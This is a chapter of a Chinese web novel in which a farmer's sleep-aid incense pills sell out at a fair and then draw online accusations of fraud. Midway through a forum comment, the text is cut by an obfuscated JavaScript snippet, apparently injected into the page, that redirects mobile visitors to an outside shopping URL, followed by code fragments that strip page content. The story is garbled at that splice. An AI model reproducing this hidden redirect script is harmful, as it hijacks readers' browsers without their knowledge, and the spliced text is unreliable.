下午六点，展销会临近结束。
姜瑜正在收拾展台上的东西，准备把剩下的十几盒香丸打包带回去，忽然听见有人喊她。
“哎，卖香丸的！”
她抬起头，看见一个头发花白的老太太正站在她展台前面，身边还跟着一个年轻女孩，看模样像是她孙女。老太太穿着一件墨绿色的碎花外套，满脸皱纹但精神很好，正笑盈盈地看着她。
姜瑜赶紧放下手里的东西：“您好，欢迎了解一下——”
“不用了解了，”老太太摆摆手，中气十足，“我孙女在社区里看到有人发的帖，说是助眠特别好用。我家老头子失眠四十年了，什么招都试过了，我就想着过来看看。偏偏老头子死倔，非说都是骗人的，嘿，我还不信了，我非要过来看看效果怎么样。”
姜瑜笑了笑，从桌上拿起一盒香丸递过去：“您要不要先试试？我这儿有把折叠椅，您坐这儿试一颗，管用再买，不管用不花钱。”
老太太愣了一下。她看了看那把折叠椅，又看了看姜瑜手里的香丸，忽然乐了：“你这小姑娘倒是实在。行，我就试试。”
姜瑜把椅子搬过来支好，放在展台旁边的空地上，又从盒子里取出一颗香丸，笑着问老太太平时睡眠怎么样。
“要是还行呢，咱们就不用点燃，放在枕头边上闻一闻就行。要是失眠很久，那就得点燃了试试。”
老太太中气十足地说：“人老了，都有点的，不过我还行。不过，你说点燃更有效？那就点燃了试试。”
她后面的年轻姑娘有点犹豫：“奶奶……”
老太太摆了摆手：“别拦我，我就试试，也就是闻点烟，没什么大事的。”说着，当先坐到了折叠椅上。
姜瑜莞尔一笑：“行，您闭上眼，什么都不用想，坐一会儿就行。”说完，过去拿了个碟子，将香丸放在里面。
那年轻女姑娘站在旁边，有点无奈：“我奶奶就这样，什么都信。她今天要来展销会我就知道是来找助眠的东西的，劝都劝不住。”
姜瑜笑着说：“没事，试试也不吃亏。”
说完，她点燃了香丸，烟气袅袅地扩散开来。
时间一分一秒地过。
没过一会儿，老太太的呼吸变得均匀绵长，搭在扶手上的手指慢慢松开了。她的头微微歪向一侧，嘴微微张着，发出细微平稳的呼吸声。
孙女愣住了。
她往前走了半步，弯腰看了看老太太的脸，然后转过头来看着姜瑜，半天没说出话来。
“……真的睡着了？”
这么见效的吗？
展销会结束的时候，天已经黑了。
姜瑜把最后三盒香丸塞进背包里，折叠椅折好夹在胳膊底下，跟着人流往外走。
展厅外面冷风扑面，吹得她头发糊了一脸。她腾不出手来整理，就这么歪着头，磕磕绊绊地往停车场走。
悬浮车启动的时候，她靠着椅背闭上眼，感觉浑身的骨头都散架了。
一天下来站了好几个小时，脚底板疼得厉害，嗓子里像塞了团砂纸。但她把光脑上的交易记录翻出来看了看，嘴角就忍不住往上翘。
带出去五十盒，除去一盒样品，现在只剩下三盒。来买的人完全超出她的预料。
要是这里面能有三五个觉得好用，然后愿意回购，她就算是赚了。
她也没指望太多，毕竟这个世界的助眠产品五花八门，她一个毫无知名度的小农场做的东西，能让人愿意掏钱买第一回就已经很不容易了。
回到农场的时候已经快九点。姜瑜随便吃了点东西，冲了个澡，整个人往床上一瘫，眼皮就沉得睁不开了。
她迷迷糊糊地想着明天要把剩下的薰衣草再做一批出来……意识就断了。
她睡到了日上三竿，阳光洒满了整间卧室，窗帘被风吹得微微鼓起。
她躺在床上赖了一会儿，才慢慢爬起来，光着脚去厨房倒水喝。
光脑上有几条未读消息。
姜瑜一手端着水杯，一手划开消息列表。
第一条是疗养院发来的确认函，说首批蔬菜订单已经收到了，品质不错，希望继续保持合作。她随手回了句“好的没问题”。
第二条是周素香发来的。
“姜瑜，我昨天晚上又点了一颗，睡了七个小时没醒。七个小时。我跟你讲，我上一次睡够七个小时还是三年前。这东西你要是能量产，我能给你介绍好几百个客户。”
紧跟着第二条消息：“哦对了，我把你的通讯号发给另一个社区里的人了，没发在帖子里，私信发的。他们想买的话会自己联系你。你定价别涨啊，一百二一盒我觉得挺合适。”
姜瑜看着那两条消息，忍不住笑了一声。
她还没回复完，第三条消息又弹了进来。
这次是个陌生号码。
“你好，请问你这里是卖助眠香丸的吗？我从朋友那里听说的，她说效果特别好。我想买两盒试试看，可以邮寄吗？”
姜瑜放下水杯，飞快地打字回复：“可以邮寄。两盒两百四，邮费到付。您把地址发我，我今天下午就能发出去。”
消息发出去没到一分钟，那边就回了一个地址和转账。
姜瑜收了款，心情大好。
她正准备打开中控系统给机器人布置任务，光脑又响了一声，紧接着又响了一声，再响一声。
一连串的消息涌进来，屏幕上的通知栏几乎被刷满了。
姜瑜点开一看，全是陌生的号码，内容大同小异。
“你好请问你还卖香丸吗？”
“我从朋友那里听说的。”
“失眠好多年了什么办法都试过了想试试你这个。”
她一条一条地回复，嘴角的笑容越来越明媚。
半个小时内，她接了三十六个订单，总共订出去五十八盒。
这比昨天展销会一整天的销量还多。
姜瑜把那些地址和订单全部整理好，发到仓库的物流机器人终端上，安排它自动打包发货。然后她靠在椅背上，长长地呼出一口气。
周素香说得没错，失眠的人看到有效果的信息，反应是很快的。
她正想着要不要再给周素香发条消息道个谢，手指刚按到通讯栏上，余光扫到本地星网的一个推荐页，标题让她愣了一下。
“展销会现‘神药’香丸，号称一粒就睡，是真的还是智商税？”
姜瑜盯着那个标题看了看，笑容顿消，毫不犹豫点了进去。
页面跳转到了一个本地论坛的帖子里，发帖人是个名字被匿名的用户，发帖时间在两个小时前。
帖子里贴了几张截图，第一张是某个失眠互助社区的帖子片段，内容写着“今天在展销会买到一款薰衣草香丸，效果绝了，我好几年都睡不好了，今天在折叠椅上睡了好几个小时。”
第二张是评论区里的跟帖。
“真的假的？骗人的吧”、“又是带货的吧”、“链接呢？想买”。
发帖人把这些截图拼在一起，配了一段话。
展销会上惊现新型养生骗局，据说闻一闻就能睡着。我寻思这智商税收得也太离谱了吧，要真这么好使，安眠药厂家岂不是早该倒闭了？还有人信这个，笑死。
姜瑜往下翻评论区。
“笑死，这不就是那种加了点精油就敢卖一百多一盒的东西吗？成本不到二十。”
“展销会年年都有这种东西，什么能量水、什么磁疗贴、什么安神枕，套路
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17940147|213893||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一模一样。先找人写软文吹效果，然后小范围传播，等韭菜上钩了就开始涨价跑路。”
“我上过当，跟帖子里说的一样。买了三盒什么助眠茶，喝了跟没喝一样，两百星币打水漂。”
“不过话说回来，那个社区我知道，是个互助群，里面都是真失眠的人。他们平时不接广告的，这波怎么突然帮人带货了？”
“估计是钱给到位了呗。谁跟钱过不去。”
姜瑜一条一条看完，脸上的笑容淡了。
这种质疑她在末世听多了，什么“你一个小姑娘怎么可能打得过变异植物”、“你手里那根藤蔓能顶什么用”。
不相信她的人太多太多了，她早就习惯了，对这些质疑毫不在意。
但她在乎评论区里那些真正失眠的人的声音。
“我昨天也看到了那个帖子，本来想买的，被你们这么一说又不敢了。万一真是骗人的怎么办？一百多星币不是小钱。”
“楼上姐妹别买，那个社区我待过，管理员挺严格的，按理说不会让带货帖留下来。但这个帖子发出来没几个小时就被删了，管理员还踢了发帖的人。这难道不说明问题吗？如果真有效，管理员为什么要删？”
“对啊，真有效的东西用得着删帖踢人吗？”后面跟了几十条附和。
姜瑜看到周素香的名字被反复提及，说她“收了钱才帮人发帖”，说她“假装睡了好几个小时其实是演的”，还有人怀疑“周素香就是卖香丸的同伙”。
她皱了皱眉，心里替周素香委屈。
人家就是失眠了好几年，遇到了一个真正管用的东西，高兴得不行想分享给大家，结果被人追着骂收了黑钱。
姜瑜想了想，还是打开周素香的通讯栏，犹豫了半天，不知道该怎么开口。
消息还没打出来，周素香的电话先打了过来。
姜瑜接起来，对面第一句话就是：“你看到那个帖子了？”
“看到了。”姜瑜说。
周素香在电话那头沉默了一会儿，然后吸了吸鼻子。
姜瑜忽然意识到她可能在哭。
“捅他先人的木马，”周素香说，“我在那个社区待了四年多。四年。我认识里面好多人，大家互相安慰互相出主意，我都把那儿当家了。我就是发了个帖子说我用了你的香丸睡着了，我连价格都没提，连你的通讯号都是别人私信来问我我才给的。他们现在追着我骂，说我带货，说我收钱，说我在社区里潜伏了四年就是为了今天卖一波货。我一个种花的，图什么啊！“
姜瑜听着，心里面忽然读了一下。可她不知道该说什么。
她擅长、保护自己，却不擅长安慰别人。
“……对不起。”最后她说。
“跟你没关系。”周素香吸了吸鼻子，“我就是气不过。你在那个帖子里回了什么没有？”
“没有。”
“别回。你回了反而越描越黑。让他们吵去，吵完了就散了。你管好你的香丸就行了。对了，今天有人找你买吗？”
“有。三十六个订单。”
周素香在电话那头笑了一声，语气顿时活泼起来：“你看，有用的人自然知道有用。那些骂的让他们骂去。”
“嗯。”
挂了电话之后，姜瑜坐在椅子上发了会儿呆。
周素香说得对，这个时候越解释越糟糕。
她关了星网页面，给中控系统下命令，让机器人去制作香丸。而她自己，连续几个小时，都在温室里埋头给薰衣草种子施加异能，外面那些吵吵嚷嚷的声音仿佛隔了很远。
本以为这事就这样过去了，万万没想到，第二天早上醒来，打开光脑，她发现自己的通讯栏炸了。
未读消息99+。